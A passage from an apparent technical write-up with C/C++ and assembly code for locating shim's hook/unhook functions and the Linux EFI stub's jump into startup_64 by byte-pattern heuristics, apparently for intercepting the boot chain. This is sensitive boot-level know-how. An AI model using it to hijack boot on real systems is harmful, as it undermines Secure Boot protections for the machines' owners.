</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">assume_sib</span> <span class="o">?</span> <span class="o">-</span><span class="mi">3</span> <span class="o">:</span> <span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x89</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">is_writing</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="n">is_writing</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>And in the hook/unhook identification loop:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">mask</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="mi">128</span> <span class="o">-</span> <span class="mi">8</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">destination</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">is_writing</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// looks like the end of the function? weakest heuristic yet, would checking
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// other valid E8 calls to deduce function boundaries be worth the effort?
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// 128 is hardly ever sufficient to cover both functions even when adjacent.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// in Debian signed shimx64, both functions are roughly 96-100 bytes each. we
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// iterate over 128 bytes so the search size itself makes this more reliable.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xC3</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// endbr64
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="s">&#34;</span><span class="se">\xF3\x0F\x1E\xFA</span><span class="s">&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// last thing unhook_system_services does is an assignment, hook_system_services too.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// could be lea + mov or mov to global var. cover both by checking if last 4 bytes look
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// like a valid disp32 or a mov [reg], some_other_reg
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/loader-proto.c#L36
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="c1">// https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/loader-proto.c#L502
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">&gt;=</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int32_t</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">uintptr_t</span> <span class="n">destination2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">disp32</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">      <span class="n">destination2</span> <span class="o">=</span> <span class="n">destination</span> <span class="o">+</span> <span class="n">j</span> <span class="o">+</span> <span class="n">disp32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">destination2</span> <span class="o">&gt;=</span> <span class="n">shim_base</span> <span class="o">&amp;&amp;</span> <span class="n">destination2</span> <span class="o">&lt;</span> <span class="n">shim_base</span> <span class="o">+</span> <span class="n">shim_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">-</span> <span class="mi">3</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">-</span> <span class="mi">3</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">P_X_BIT</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">-</span> <span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x89</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">          <span class="kt">uint8_t</span> <span class="n">modrm</span> <span class="o">=</span> <span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">-</span> <span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">          <span class="kt">uint8_t</span> <span class="n">mod</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">          <span class="kt">uint8_t</span> <span class="n">rm</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">          <span class="c1">// [reg], no offset or rip relative
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>          <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">==</span> <span class="mb">0b00</span> <span class="o">&amp;&amp;</span> <span class="n">rm</span> <span class="o">!=</span> <span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// precedence of uint32_t check over uint8_t as the order could give false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// matches in the 2 different variations we verify (sorry for the ugly code)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">loadimage_offset</span><span class="p">),</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b001</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int8_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">loadimage_offset</span><span class="p">),</span> <span class="nb">false</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b001</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">unloadimage_offset</span><span class="p">),</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b010</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int8_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">unloadimage_offset</span><span class="p">),</span> <span class="nb">false</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b010</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">startimage_offset</span><span class="p">),</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b100</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">is_accessing_disp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int8_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">startimage_offset</span><span class="p">),</span> <span class="nb">false</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="n">mask</span> <span class="o">|=</span> <span class="mb">0b100</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">is_writing</span> <span class="o">?</span> <span class="mi">3</span> <span class="o">:</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To distinguish <code>hook_system_services</code> from <code>unhook_system_services</code> (or any that isn&rsquo;t either one), we check the bitmask which is set accordingly to identified displacement access criteria. Bitmask logic: bit 0, 1 and 2 are for LoadImage, UnloadImage and StartImage respectively. For each one that is also read from the original table, it is or&rsquo;ed shifting left by 3, so bit 3, 4, 5 signals they&rsquo;re being read &amp; saved, coherent with a hooking logic which preserves old pointers to unhook later. If <code>mask &amp; 0b111000</code>, it&rsquo;s either one. Discriminate by read mask:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// writes to all 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="n">mask</span> <span class="o">&amp;</span> <span class="mb">0b111000</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// btw, unhook also accesses offsetof(EFI_BOOT_SERVICES, Exit), but this could
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// be moved out to another unhook function in the future, would make sense so
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// don&#39;t account for it here.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">// reads from all 3, means it is saving them
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">mask</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">hook_found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">hook</span> <span class="o">=</span> <span class="n">destination</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">unhook_found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="o">*</span><span class="n">unhook</span> <span class="o">=</span> <span class="n">destination</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Shim compatibility is currently incomplete. What is still remaining: the <code>start_image</code> and <code>shim_start_image</code> CALL handover heuristics, delayed image patching (in either hooks), and hook logic. This section will be updated with these remaining steps once I implement it.</p>
<h2 id="vmlinuz--bzimage-phase">vmlinuz / bzImage phase</h2>
<p>In modern versions the bzImage is an EFI application containing an embedded kernel image, which is usually compressed. Regardless if the kernel is compressed or not, both paths lead to the same kernel handover code. In older versions, that is an <a href="https://elixir.bootlin.com/linux/v6.0/source/arch/x86/boot/compressed/head_64.S#L560">handwritten assembly</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-asm" data-lang="asm"><span class="line"><span class="cl"><span class="c1">#ifdef CONFIG_EFI_STUB
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>	<span class="na">.org</span> <span class="mi">0x390</span>
</span></span><span class="line"><span class="cl"><span class="nf">SYM_FUNC_START</span><span class="p">(</span><span class="no">efi64_stub_entry</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="nf">and</span>	<span class="no">$</span><span class="err">~</span><span class="mi">0xf</span><span class="p">,</span> <span class="nv">%rsp</span>			<span class="cm">/* realign the stack */</span>
</span></span><span class="line"><span class="cl">	<span class="nf">movq</span>	<span class="nv">%rdx</span><span class="p">,</span> <span class="nv">%rbx</span>			<span class="cm">/* save boot_params pointer */</span>
</span></span><span class="line"><span class="cl">	<span class="nf">call</span>	<span class="no">efi_main</span>
</span></span><span class="line"><span class="cl">	<span class="nf">movq</span>	<span class="nv">%rbx</span><span class="p">,</span><span class="nv">%rsi</span>
</span></span><span class="line"><span class="cl">	<span class="nf">leaq</span>	<span class="no">rva</span><span class="p">(</span><span class="no">startup_64</span><span class="p">)(</span><span class="nv">%rax</span><span class="p">),</span> <span class="nv">%rax</span>
</span></span><span class="line"><span class="cl">	<span class="nf">jmp</span>	<span class="p">*</span><span class="nv">%rax</span>
</span></span><span class="line"><span class="cl"><span class="nf">SYM_FUNC_END</span><span class="p">(</span><span class="no">efi64_stub_entry</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nf">SYM_FUNC_ALIAS</span><span class="p">(</span><span class="no">efi_stub_entry</span><span class="p">,</span> <span class="no">efi64_stub_entry</span><span class="p">)</span>
</span></span></code></pre></div><p>Where <code>rax</code> contains the uncompressed kernel <code>startup_64</code> address. In recent versions, <a href="https://elixir.bootlin.com/linux/v7.2/source/drivers/firmware/efi/libstub/x86-stub.c#L1040">it has changed drastically</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm"> * On success, this routine will jump to the relocated image directly and never
</span></span></span><span class="line"><span class="cl"><span class="cm"> * return.  On failure, it will exit to the firmware via efi_exit() instead of
</span></span></span><span class="line"><span class="cl"><span class="cm"> * returning.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">__noreturn</span> <span class="nf">efi_stub_entry</span><span class="p">(</span><span class="kt">efi_handle_t</span> <span class="n">handle</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			       <span class="kt">efi_system_table_t</span> <span class="o">*</span><span class="n">sys_table_arg</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			       <span class="k">struct</span> <span class="n">boot_params</span> <span class="o">*</span><span class="n">boot_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">efi_guid_t</span> <span class="n">guid</span> <span class="o">=</span> <span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL_GUID</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="k">struct</span> <span class="n">linux_efi_initrd</span> <span class="o">*</span><span class="n">initrd</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">kernel_entry</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">struct</span> <span class="n">setup_header</span> <span class="o">*</span><span class="n">hdr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">efi_status_t</span> <span class="n">status</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">status</span> <span class="o">=</span> <span class="nf">exit_boot</span><span class="p">(</span><span class="n">boot_params</span><span class="p">,</span> <span class="n">handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">status</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">efi_err</span><span class="p">(</span><span class="s">&#34;exit_boot() failed!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">goto</span> <span class="n">fail</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * Call the SEV init code while still running with the firmware&#39;s
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * GDT/IDT, so #VC exceptions will be handled by EFI.
</span></span></span><span class="line"><span class="cl"><span class="cm">	 */</span>
</span></span><span class="line"><span class="cl">	<span class="nf">sev_enable</span><span class="p">(</span><span class="n">boot_params</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">efi_5level_switch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">enter_kernel</span><span class="p">(</span><span class="n">kernel_entry</span><span class="p">,</span> <span class="n">boot_params</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nl">fail</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">	<span class="nf">efi_err</span><span class="p">(</span><span class="s">&#34;efi_stub_entry() failed!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">efi_exit</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">status</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>enter_kernel</code> is the function we&rsquo;re interested in, it jumps to <code>startup_64</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">void</span> <span class="n">__noreturn</span> <span class="nf">enter_kernel</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">kernel_addr</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">				    <span class="k">struct</span> <span class="n">boot_params</span> <span class="o">*</span><span class="n">boot_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="cm">/* enter decompressed kernel with boot_params pointer in RSI/ESI */</span>
</span></span><span class="line"><span class="cl">	<span class="k">asm</span><span class="p">(</span><span class="s">&#34;jmp *%0&#34;</span><span class="o">::</span><span class="s">&#34;r&#34;</span><span class="p">(</span><span class="n">kernel_addr</span><span class="p">),</span> <span class="s">&#34;S&#34;</span><span class="p">(</span><span class="n">boot_params</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Therefore, a <code>jmp reg</code> is guaranteed, <code>reg</code> being a 64 bit pointer to <code>startup_64</code> and <code>rsi</code> containing a pointer to <code>boot_params</code>. It will always be inlined, as this is a static, tiny __noreturn inline assembly function. This complicates things, but we have guaranteed:</p>
<ul>
<li>jmp reg, not an <code>RSI</code> destination</li>
<li>assignment to <code>RSI</code> preceding the jmp</li>
</ul>
<p>So we&rsquo;ll need to disassemble a few instructions to find this pattern. However, there are two obvious problems: instruction ordering and optimizations. We need to know who writes to <code>kernel_addr</code>and <code>boot_params</code> and how. Following kernel_addr, it is passed via a local variable <code>kernel_entry</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">__noreturn</span> <span class="nf">efi_stub_entry</span><span class="p">(</span><span class="kt">efi_handle_t</span> <span class="n">handle</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			       <span class="kt">efi_system_table_t</span> <span class="o">*</span><span class="n">sys_table_arg</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			       <span class="k">struct</span> <span class="n">boot_params</span> <span class="o">*</span><span class="n">boot_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">efi_guid_t</span> <span class="n">guid</span> <span class="o">=</span> <span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL_GUID</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="k">struct</span> <span class="n">linux_efi_initrd</span> <span class="o">*</span><span class="n">initrd</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">kernel_entry</span><span class="p">;</span> <span class="c1">// this is passed to kernel_addr param later
</span></span></span></code></pre></div><p>Written to by <code>efi_decompress_kernel</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="kt">efi_status_t</span> <span class="nf">efi_decompress_kernel</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="o">*</span><span class="n">kernel_entry</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">					  <span class="k">struct</span> <span class="n">boot_params</span> <span class="o">*</span><span class="n">boot_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">entry</span> <span class="o">=</span> <span class="nf">decompress_kernel</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">addr</span><span class="p">,</span> <span class="n">virt_addr</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">entry</span> <span class="o">==</span> <span class="n">ULONG_MAX</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">efi_free</span><span class="p">(</span><span class="n">alloc_size</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">EFI_LOAD_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="o">*</span><span class="n">kernel_entry</span> <span class="o">=</span> <span class="n">addr</span> <span class="o">+</span> <span class="n">entry</span><span class="p">;</span> <span class="c1">// here
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="nf">efi_adjust_memory_range_protection</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">kernel_text_size</span><span class="p">)</span> <span class="o">?:</span>
</span></span><span class="line"><span class="cl">	       <span class="nf">efi_adjust_memory_range_protection</span><span class="p">(</span><span class="n">addr</span> <span class="o">+</span> <span class="n">kernel_inittext_offset</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">						  <span class="n">kernel_inittext_size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>As a static function, it can be highly optimized by the compiler and some operations can be pulled out of the function altogether. For <code>kernel_entry</code> specifically:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="o">*</span><span class="n">kernel_entry</span> <span class="o">=</span> <span class="n">addr</span> <span class="o">+</span> <span class="n">entry</span><span class="p">;</span>
</span></span></code></pre></div><p>The first use after assignment is in the passage to <code>enter_kernel</code>. So the compiler can optimize this addition/assignment to right before the <code>jmp</code> instruction. We are left with:</p>
<ul>
<li>jmp reg, not an <code>RSI</code> destination</li>
<li>assignment to <code>RSI</code> preceding the jmp</li>
<li>assignment to jmp destination register, possibly an addition too</li>
<li>it is inlined, so the surrounding layout and context are valid anchors</li>
</ul>
<p>My initial implementation found 2 matches whilst parsing the bzImage memory space blindly, so I added a check for 2 calls preceding the <code>enter_kernel</code> procedure to match <code>sev_enable</code> and <code>efi_5level_switch</code> calls:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">sev_enable</span><span class="p">(</span><span class="n">boot_params</span><span class="p">);</span> <span class="c1">// E8 for this call
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">efi_5level_switch</span><span class="p">();</span> <span class="c1">// no param passing, safe to assume two consecutive E8 ?? ?? ?? ??
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nf">enter_kernel</span><span class="p">(</span><span class="n">kernel_entry</span><span class="p">,</span> <span class="n">boot_params</span><span class="p">);</span>
</span></span></code></pre></div><p>The old handwritten assemblies are predictable enough to cover through simple pattern scanning. v6.0 compatibility for reference:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">code</span> <span class="o">!=</span> <span class="mh">0xFF</span> <span class="cm">/* jmp reg */</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pos</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
